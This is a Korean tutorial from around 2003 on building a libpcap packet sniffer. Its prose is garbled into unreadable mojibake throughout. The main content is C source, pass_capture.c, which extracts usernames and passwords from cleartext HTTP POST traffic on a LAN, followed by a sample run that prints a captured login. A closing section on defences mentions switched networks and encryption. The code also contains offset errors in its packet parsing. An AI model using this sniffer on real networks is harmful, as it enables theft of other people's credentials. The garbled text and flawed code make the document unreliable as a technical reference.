PcapÀ» ÀÌ¿ëÇÑ ÆÐŶĸÃÄ ÀÀ¿ë
ÃÑ ÆäÀÌÁö ¼ö : 3224

Àüü ÇÔ¼ö/¿ë¾î»çÀü
Facebook Joinc ±×·ì   Joinc QA »çÀÌÆ®



joinc´Â Firefox¿Í chrome¿¡¼­ Å×½ºÆ® Çß½À´Ï´Ù. IE¿¡¼­´Â Å×À̺íÀÌ ±úÁö°Å³ª À̹ÌÁö°¡ º¸ÀÌÁö ¾ÊÀ» ¼ö ÀÖ½À´Ï´Ù. ƯÈ÷ ±¸±Û DocsÀ̹ÌÁöÀÇ °æ¿ì ¿¢¹Úó¸®µÉ ¼ö ÀÖ½À´Ï´Ù.
Docbook ¿ø¹®

Pcap À» ÀÌ¿ëÇÑ ÆÐŶĸÃÄÀÀ¿ë

Pcap À» ÀÌ¿ëÇÑ ÆÐŶĸÃÄÀÀ¿ë

À± »ó¹è

dreamyun@yahoo.co.kr

교정 과정
교정 0.82003³â 1¿ù 24ÀÏ 23½Ã
¹®¼­ ÀÛ¼º


1절. ¼Ò°³

Áö³­¹ø¿¡´Â pcap ¼Ò°³¹®¼­ÀÎ libpcap ÇÁ·Î±×·¡¹Ö libpcap ÇÁ·Î±×·¡¹ÖÀ» ÅëÇØ¼­ ±âº»ÀûÀÎ ÆÐŶĸÃÄ ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸¾Ò¾ú´Ù.

À̹ø¿¡´Â ½ÇÁúÀûÀÎ ÀÀ¿ë¿¡ ´ëÇØ¼­ °£´ÜÇÑ ¿¹Á¦¿Í ÇÔ²² °øºÎÇØ º¸µµ·Ï ÇϰڴÙ. Áö³­¹ø libpcap ¿¡ ´ëÇÑ ÀÌÇØ¸¦ ¸¶ÃÆ´Ù¸é, ÀÌ ¹®¼­´Â °¡º­¿î ¸¶À½À¸·Î Àо°¥¼ö ÀÖÀ»°ÍÀÌ´Ù.


2절. ID ¹× ÆÐ½º¿öµå °Ë»ö ÇÁ·Î±×·¥

À̹ø¿¡ ¸¸µé°íÀÚ ÇÏ´Â ÀÀ¿ëÀº LAN »ó¿¡¼­ ƯÁ¤ »çÀÌÆ®¿¡ Á¢¼ÓÇϰíÀÚ ÇÏ´Â À¯ÀúÀÇ ID¿Í ÆÐ½º¿öµå¸¦ °¡Á®¿À´Â ÇÁ·Î±×·¥ÀÌ´Ù.


2.1절. À̰Šũ·¡Å· ÇÁ·Î±×·¥ ¾Æ´Ñ°¡¿ä?

¾î¶»°Ô »ý°¢ÇÏ¸é ¹®Á¦ÀÇ ¼ÒÁö°¡ ÀÖ´Â ÇÁ·Î±×·¥ÀÌ ¾Æ´Ò±î¶ó°í »ý°¢ µÇÁöµµ ÇÏÁö¸¸ ¾îÂ÷ÇÇ tcpdump ¸¦ ¾î´ÀÁ¤µµ »ç¿ëÇÒÁÙ ¾Æ´Â À¯Àú¶ó¸é ´Ü¼ø tcpdump ºÐ¼®À» ÇϵçÁö ¾Æ´Ï¸é ÀÌ¹Ì ÀÎÅͳݿ¡ ³Î·Á ÀÖ´Â ´Ù¸¥ ÇÁ·Î±×·¥µéÀ» »ç¿ëÇϵçÁö, ¾Ïȣȭ Åë½ÅÀ» ÇÏÁö ¾Ê´Â »çÀÌÆ®¿¡ ´ëÇÑ ID, Password ´Â ¼Õ½±°Ô °¡Á®¿Ã¼ö ÀÖÀ» °ÍÀÓÀ¸·Î Ưº°È÷ ¾Ç¿ëµÉ°ÍÀ̶ó°í´Â »ý°¢µÇÁö ¾Ê´Â´Ù.

±×¸®°í ¾îÂ÷ÇÇ ÀÌ·¯ÇÑ ±â´ÉÀº »ó¿ëÀ¸·Î ÆÇ¸ÅÇÏ´Â ¿©·¯ IDS ¿¡¼­µµ ºÎ°¡ÀûÀ¸·Î Á¦°øÇÏ´Â ±â´ÉµéÀÌ´Ù. ÀÌ·± Á¡¿¡¼­ ºÃÀ»¶§ ȸ»ç³»ºÎ¿¡¼­ ¾Ïȣȭ Åë½ÅÀ» ÇÏÁö ¾Ê´Â »çÀÌÆ®(ȤÀº telnet ¿¬°á)µéÀ» µ¹¾Æ´Ù´Ï´Â °ÍÀº ´ë´ÜÈ÷ À§ÇèÇÏ´Ù. ¸¶À½¸¸ ¸ÔÀ¸¸é ´©±¸µçÁö ID ¿Í Password ¸¦ °£´ÜÈ÷ »©³¾¼ö ÀÖÀ¸¸ç, ¸Þ½ÅÀúµîÀ» »ç¿ëÇÒ¶§ ±× ³»¿ë¿ª½Ã ½±°Ô µµÃ»µÉ¼ö ÀÖ´Ù.

ÀÌ·¯ÇÑ ·ùÀÇ Å©·¡Å· ±é¹öÀº ÀϹÝÀûÀÎ Å©·¡Å·À¯ÇüÀ̸ç, ¸·´Â ¹æ¹ýµµ ³Î¸® ¾Ë·ÁÁ® ÀÖ´Ù. ¹®¼­ÀÇ ³¡¿¡¼­´Â ÀÌ·¯ÇÑ ¹æ¹ý¿¡ ´ëÇØ¼­µµ ¾Ë¾Æº¸µµ·Ï ÇÒ°ÍÀÌ´Ù.


2.2절. ±¸Çö ¹æ¹ý

libpcap ¿¡ ´ëÇÑ ¹®¼­¸¦ Àо°í °Å±â¿¡ ´ëÇÑ ÀÌÇØ¸¦ ÇÑ»óŶó¸é ÀÌ·± ÇÁ·Î±×·¥Àº ±¸ÇöÀ̶ó°í ¸»ÇÒ ¼ºÁúÀÇ °Íµµ ¾Æ´Ï´Ù. ´ÜÁö http »ó¿¡¼­ ID ¿Í PASSWORD ¸¦ ³Ñ±æ¶§ ¾î¶»°Ô ³Ñ±â´ÂÁö ¿¡ ´ëÇÑ ÀÌÇØ°¡ ÀÖ°í, ¹®ÀÚ¿­À» ´Ù·ç±â À§ÇÑ CÀÇ Ç¥ÁØ ¹®ÀÚ¿­°ü·Ã ÇÔ¼ö¸¸ ¾Ë°í ÀÖ´Ù¸é ±¸ÇöÀº ½ÄÀºÁ× ¸Ô±âÀÌ´Ù. ³²Àº°Ç ´Ù¸¸ ¾î¶»°Ô Á»´õ È¿À²ÀûÀ¸·Î ¿øÇÏ´Â Á¤º¸(id, password)¸¦ °£Ãß·Á¼­ º¸¿©ÁÙ°ÍÀΰ¡ ÇÏ´Â °í¹Î Á¤µµÀÌ´Ù.

¿©±â¿¡¼­´Â ¾ÆÁÖ ¿ø½ÃÀûÀÎ ¹æ¹ýÀ» »ç¿ëÇÒ°ÍÀÌ´Ù. Id ¿Í password ¸¦ »©³»¿À±â¸¦ ¿øÇϴ ŸÄÏ »çÀÌÆ®¸¦ Á¤Çϰí (¿©±â¿¡¼­´Â www.joinc.co.kr À» Ÿ°Ù »çÀÌÆ®·Î ÇÒ°ÍÀÌ´Ù -.-;) ÇØ´ç »çÀÌÆ®¿¡¼­ ID ¿Í Password ÀÔ·ÂÈÄ ·Î±×ÀÎ ¹öưÀ» Ŭ¸¯ÇßÀ»¶§ ¾î¶² ƯÁ¤ÇÑ µ¥ÀÌŸ°¡ Àü´ÞµÇ´ÂÁö¸¦ È®ÀÎÈÄ, ±× µ¥ÀÌŸ¸¦ Æ÷ÇÔÇÑ ÆÐŶÀ» ĸÃÄÇϵµ·Ï ÄÚµùÇÏ´Â °ÍÀÌ´Ù. ºñ·Ï ¿ø½ÃÀûÀÎ ¹æ¹ýÀ̱ä ÇÏÁö¸¸ ¿ø¸®¸¦ ¼³¸íÇϴµ¥¿¡´Â ºÎÁ·ÇÔÀÌ ¾øÀ» °ÍÀ¸·Î »ý°¢µÈ´Ù.


2.3절. id, password Àü´Þ¹®ÀÚ¿­ È®ÀÎÇϱâ

Post ¹æ½ÄÀ¸·Î Àü´ÞµÇ´Âµ¥, À̶§ Á¤È®ÇÏ°Ô ¾î¶² ¹æ½ÄÀ¸·Î Àü´ÞµÇ¾î¾ß ÇÏ´ÂÁö ¾Ë¾Æ¾ßµÉ Çʿ䰡 ÀÖ´Ù. www.joinc.co.kr ÀÇ HTML ÆäÀÌÁö ½î½º¸¦ º¸¸é id ´Â uname, ÆÐ½º¿öµå´Â pass¸¦ ÅëÇØ¼­ Àü´ÞµÇ´Â°É È®ÀÎÇÒ¼ö ÀÖ´Ù.

libpcap ÇÁ·Î±×·¡¹ÖÀÇ ¿¹Á¦ÇÁ·Î±×·¥À» ÀÌ¿ëÇØ¼­ id ¿Í password ÀԷ½à ¼­¹öÃø¿¡ ¾î¶² ¸Þ½ÃÁö°¡ Àü´ÞµÇ´ÂÁö È®ÀÎÇϰí ÇØ´ç¸Þ½ÃÁö¿¡ Æ÷ÇÔµÈ ¹®ÀÚ¿­¸¸À» ÃßÃâÇØ ³»¸é µÈ´Ù. ÇÊÀÚ°¡ º»ÀÎÀÇ »çÀÌÆ®¸¦ È®ÀÎÇØº»°á°ú(-.-) ´ÙÀ½°ú °°ÀÌ Àü´ÞµÊÀ» È®ÀÎÇÒ¼ö ÀÖ¾ú´Ù.

....
....
uname=xxxxx&pass=yyyy&....
....
			
±×·³À¸·Î uname=xxxx&pass=yyyy ¹®ÀÚ¿­À» ¸¸³ª¸é, ÇØ´ç »çÀÌÆ®·Î ¾ÆÀ̵ð¿Í ÆÐ½º¿öµå°¡ Àü´ÞµÇ´Â °ÍÀ¸·Î ÆÇ´ÜÇϰí xxxx ¿Í yyyy ¸¦ ÃßÃâÇØ³»¸é µÉ°ÍÀÌ´Ù.


2.4절. ¿¹Á¦ÄÚµå

¿©±â¿¡ ÀÖ´Â ÄÚµå´Â ÀϹÝÀûÀÎ ÄÚµå´Â ¾Æ´Ï°í, www.joinc.co.kr ¿¡ ´ëÇØ¼­¸¸ Àû¿ë½Ãų¼ö ÀÖ´Â ÄÚµåÀÌ´Ù. Á»´õ ÀϹÝÀûÀÎ ÄÚµå·Î ¸¸µå´Â°Ç °¢ÀÚÀÇ ¸òÀÌ´Ù. ¸¶Âù°¡Áö·Î ¿¹Á¦ÄÚµå´Â ±¸Çö°¡´É¿©ºÎ¿¡ ÃÐÁ¡À» ¸ÂÃá ÄÚµå·Î½á È¿À²ÀûÀÎ Ãø¸éµîÀº °í·ÁÇÏÁö ¾Ê¾Ò´Ù.

ÄÚµå´Â libpcap ¿¡ ´ëÇÑÀÌÇØ¸¦ Çϰí ÀÖ´Ù¸é ¾î·ÆÁö ¾Ê°Ô ÀÌÇØ °¡´ÉÇÒ°ÍÀÓÀ¸·Î ¼³¸íÀº Äڵ忡 ÀÖ´Â ÁÖ¼®À¸·Î ´ë½ÅÇϵµ·Ï ÇϰڴÙ.

¿¹Á¦ : pass_capture.c

#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <pcap/pcap.h>

#define PROMISCUOUS 1
#define NONPROMISCUOUS 0
#define TCPHEADERSIZE 6*4 

// IP Çì´õ ±¸Á¶Ã¼
struct ip *iph;
// TCP Çì´õ ±¸Á¶Ã¼
struct tcphdr *tcph;

// ÆÐŶÀ» ¹Þ¾ÆµéÀϰæ¿ì ÀÌ ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù.  
// packet °¡ ¹Þ¾ÆµéÀÎ ÆÐŶÀÌ´Ù.
void callback(u_char *useless, const struct pcap_pkthdr *pkthdr,
                const u_char *packet)
{
    struct ether_header *ep;
    unsigned short ether_type;

    char *uname = NULL;
    char *pass = NULL;
    char buf[80];

    // ÀÌ´õ³Ý Çì´õ¸¦ °¡Á®¿Â´Ù. 
    ep = (struct ether_header *)packet;


    // IP Çì´õ¸¦ °¡Á®¿À±â À§Çؼ­ 
    // ÀÌ´õ³Ý Çì´õ Å©±â¸¸Å­ offset ÇÑ´Ù. 
    packet += sizeof(struct ether_header);
    ether_type = ntohs(ep->ether_type);

    // Network Layer ÀÇ Protocol ŸÀÔÀ» ¾Ë¾Æ³½´Ù.  
    // ¸¸¾à IP ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÑ´Ù¸é 
    // IP Á¤º¸¸¦ ¾ò¾î¿Â´Ù.  
    if (ether_type == ETHERTYPE_IP)
    {
        iph = (struct ip *)packet;
        if (iph->ip_p == IPPROTO_TCP)
        {
            tcph = (struct tcp *)(packet + iph->ip_hl * 4);
        }

        memset(buf, 0x00, 80);

        // À¯Àú µ¥ÀÌŸ¸¦ ¾ò¾î¿À±â À§Çؼ­ 
        // IP, TCP, Ethernet Çì´õ Å©±â¸¸Å­ offset ÇÑ´Ù. 
        packet += (iph->ip_hl * 4)+TCPHEADERSIZE+(sizeof(struct ether_header));

        // ÆÐŶ¿¡ ID¿Í password °ü·Ã ¹®ÀÚ¿­À» Æ÷ÇÔÇÏ´ÂÁö È®ÀÎÇÑ´Ù.  
        if ( ((uname = strstr(packet, "uname=")) != NULL)
            && ((pass = strstr(packet, "&pass=")) != NULL))
        {
            // Çì´õ Á¤º¸¸¦ Ãâ·ÂÇÑÈÄ
            printf("HEADER INFO\n");
            printf("Src Address : %s\n", inet_ntoa(iph->ip_src));
            printf("Dst Address : %s\n", inet_ntoa(iph->ip_dst));

            printf("Src Port    : %d\n" , ntohs(tcph->source));
            printf("Dst Port    : %d\n" , ntohs(tcph->dest));

            // ¹®ÀÚ¿­¿¡¼­ ÇÊ¿äÇÑ Á¤º¸ Áï ID¿Í Password ¸¸À» 
            // ÃßÃâÇØ ³½´Ù.   
            strncpy(buf, uname+6, strstr(uname, "&") - (uname + 6));
            printf("Uname : <%s>\n", buf);
            memset(buf, 0x00, 80);
            strncpy(buf, pass+6, strstr(pass+6, "&") - (pass + 6));
            printf("Pass  : <%s>\n", buf);
            printf("======================\n\n");
        }
    }
}

int main(int argc, char **argv)
{
    char *dev;
    char *net;
    char *mask;

    bpf_u_int32 netp;
    bpf_u_int32 maskp;
    char errbuf[PCAP_ERRBUF_SIZE];
    int ret;
    struct pcap_pkthdr hdr;
    struct in_addr net_addr, mask_addr;

    struct bpf_program fp;

    pcap_t *pcd;  // packet capture descriptor

    //  µð¹ÙÀ̽º À̸§À» ¾ò¾î¿Â´Ù.
    dev = pcap_lookupdev(errbuf);
    if (dev == NULL)
    {
        printf("%s\n", errbuf);
        exit(1);
    }
    printf("DEV : %s\n", dev);
    // µð¹ÙÀ̽º¿¡ ´ëÇÑ ³×Æ®¿÷ Á¤º¸¸¦ ¾ò¾î¿Â´Ù.  
    ret = pcap_lookupnet(dev, &netp, &maskp, errbuf);
    if (ret == -1)
    {
        printf("%s\n", errbuf);
        exit(1);
    }

    // ³×Æ®¿÷ Á¤º¸¸¦ »ç¶÷ÀÌ º¸±â ½±µµ·Ï 
    // º¯È¯ÇÑ´ÙÀ½ Ãâ·ÂÇÑ´Ù.
    net_addr.s_addr = netp;
    net = inet_ntoa(net_addr);
    printf("NET : %s\n", net);

    mask_addr.s_addr = maskp;
    mask = inet_ntoa(mask_addr);
    printf("MSK : %s\n", mask);
    printf("=======================\n");

    // µð¹ÙÀ̽º¿¡ ´ëÇÑ packet capture descriptor 
    // ¸¦ ¾ò¾î¿Â´Ù.  
    pcd = pcap_open_live(dev, BUFSIZ,  NONPROMISCUOUS, -1, errbuf);
    if (pcd == NULL)
    {
        printf("%s\n", errbuf);
        exit(1);
    }

    // ÄÄÆÄÀÏ ¿É¼ÇÀ» ÁØ´Ù.  
    if (pcap_compile(pcd, &fp, argv[2], 0, netp) == -1)
    {
        printf("compile error\n");
        exit(1);
    }
    // ÄÄÆÄÀÏ ¿É¼Ç´ë·Î ÇÊÅÍ·êÀ» ¼¼ÆÃÇÑ´Ù. 
    if (pcap_setfilter(pcd, &fp) == -1)
    {
        printf("setfilter error\n");
        exit(0);
    }
    
    // ÁöÁ¤µÈ Ƚ¼ö¸¸Å­ ÆÐŶĸÃĸ¦ ÇÑ´Ù.
    // pcap_setfilter À» Åë°úÇÑ ÆÐŶ¿¡ ´ëÇØ¼­
    // callback ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù. 
    pcap_loop(pcd, atoi(argv[1]), callback, NULL);
}
			
´ÙÀ½Àº À§ÀÇ ÇÁ·Î±×·¥À» ÀÌ¿ëÇØ¼­ ½ÇÁ¦·Î ¾ÆÀ̵ð¿Í ÆÐ½º¿öµå¸¦ ĸÃÄÇÑ °á°úÀÌ´Ù.
[root@localhost pcap_test]# ./pass_capture -l "port 80"
DEV : eth0
NET : 211.244.233.0
MSK : 255.255.255.0
=======================
HEADER INFO
Src Address : 211.244.233.55
Dst Address : 218.234.19.87
Src Port    : 33189
Dst Port    : 80
Uname : <yundream>
Pass  : <xxxxxx>
======================

HEADER INFO
Src Address : 218.234.19.87
Dst Address : 211.244.233.55
Src Port    : 80
Dst Port    : 33189
Uname : <yundream>
Pass  : <xxxxxx>
======================
			
À§ÀÇ ÇÁ·Î±×·¥Àº ¹®ÀÚ¿­À» ÀÌ¿ëÇØ¼­ ¾ÆÀ̵ð¿Í ÆÐ½º¿öµå¸¦ ĸÃÄÇØ³»°í Àִµ¥, ¿©±â¿¡ port, ip µîÀÇ Á¶°ÇÀ» ÀÔ·ÂÇÑ´Ù¸é Á»´õ Á¤È®ÇÑ °á°ú¸¦ ¾òÀ»¼ö ÀÖÀ»°ÍÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥Àº LAN »ó¿¡ ¹­¿©ÀÖ´Â ¸ðµç È£½ºÆ®¿¡¼­ ¹ß»ýÇÏ´Â ÆÐŶ¿¡ ´ëÇÑ °Ë»ç¸¦ ¼öÇàÇÏ°Ô µÉ°ÍÀÌ´Ù(½ºÀ§Äª ¶ó¿ìÅÍ(Çãºê)¿¡ ÀÇÇØ¼­ °ü¸® µÇÁö ¾Ê´Â´Ù´Â °¡Á¤ÇÏ¿¡).


2.5절. Á¤º¸ ´©ÃâÀ» ¸·´Â ¹æ¹ý

À§ÀÇ Äڵ带 º¸¸é ¾Ë°ÚÁö¸¸, ¸¶À½¸¸ ¸Ô´Â´Ù¸é ´©±º°¡ÀÇ Á¤º¸¸¦ °¡Á®¿À´Â°Ô ±×¸® ¾î·Á¿îÀÏÀÌ ¾Æ´Ï¶ó´Â°É ¾Ë¼ö ÀÖ´Ù. ÀÌ ¸»Àº ¿ªÀ¸·Î ¿©·¯ºÐÀÇ Á¤º¸ ¿ª½Ã ½±°Ô µµÃ»´çÇÒ ¼ö ÀÖÀ½À» ¶æÇϱ⵵ ÇÑ´Ù. À§ÀÇ ÄÚµåÀÇ ¾à°£ÀÇ ÀÀ¿ë¸¸À¸·Îµµ TELNET, ¸Þ½ÅÁ®, MAIL µîÀÇ Á¤º¸µµÃ»ÀÌ °¡´ÉÇÒ°ÍÀÌ´Ù.

ÀÌ·¯ÇÑ ÆÐŶĸÃÄ¿¡ ÀÇÇÑ Á¤º¸´©ÃâÀ» °¡Àå °£´ÜÇÑ ¹æ¹ýÀº ½ºÀ§Äª ¶ó¿ìÅÍ È¤Àº ½ºÀ§Äª Çãºê¸¦ ÀÌ¿ëÇØ¼­ ·ÎÄÃ³×Æ®¿÷À» ¼¼±×¸ÕÆ® ´ÜÀ§·Î ³ª´©´Â ¹æ¹ýÀ̵ɰÍÀÌ´Ù. À̰æ¿ì ÆÐŶÀº Àü´ÞµÇ¾î¾ß ÇÏ´Â ¼¼±×¸ÕÆ®·Î¸¸ Àü¼ÛµÉ°ÍÀÓÀ¸·Î LAN »óÀÇ ´Ù¸¥ È£½ºÆ®¿¡¼­ ÆÐŶÀ» ÈÉÃĺ¼¼ö ¾øÀ»°ÍÀÌ´Ù(º¸¾ÈÀûÀÎ Ãø¸é¿Ü¿¡µµ ·ÎÄà ³×Æ®¿÷ Æ®·¡ÇÈÀ» ÁÙÀϼö ÀÖ´Ù´Â ÀåÁ¡µµ °¡Áø´Ù).

±×·¯³ª ½ºÀ§Äª ¶ó¿ìÅÍ(Çãºê)¸¦ ÀÌ¿ëÇϴ°ÍÀº ¿Ïº®ÇÑ ¹æ¹ýÀ̾ƴϴÙ. ¸î¸î ¾Ë·ÁÁø sniffing ±â¹ý¿¡ ÀÇÇØ¼­ ¾î·ÆÁö ¾Ê°Ô ÆÐŶÀ» ÈÉÃĺ¼¼ö Àֱ⠶§¹®ÀÌ´Ù(³×Æ®¿÷ º¸¾ÈÀÇ ±âº»(1) À» Âü°íÇ϶ó). ÇöÀç »ý°¢ÇÒ¼ö ÀÖ´Â °¡Àå ÈǸ¢ÇÑ Á¤º¸´©ÃâÀ» ¸·´Â ¹æ¹ýÀº ¾Ïȣȭ Åë½ÅÀÌ µÉ°ÍÀÌ´Ù. telnet ȤÀº http ´ë½Å¿¡ SSL À» ÀÌ¿ëÇÏ´Â ssh ³ª https ¼­ºñ½º¸¦ »ç¿ëÇØ¼­ ÆÐŶÀ» ¾Ïȣȭ Çϰųª, ¸ÞÀÏÀü¼Û½Ã PGP µîÀ» ÀÌ¿ëÇØ¼­ ¸ÞÀϳ»¿ëÀ» ¾ÏÈ£È­ÇØ¼­ º¸³»´Â ¹æ¹ýµîÀÌ ÀÖÀ»°ÍÀÌ´Ù.

EmailÀ» ±âÀÔÇϸé, ´ñ±ÛÀÌ ¸ÞÀÏ·Î Àü´ÞµË´Ï´Ù.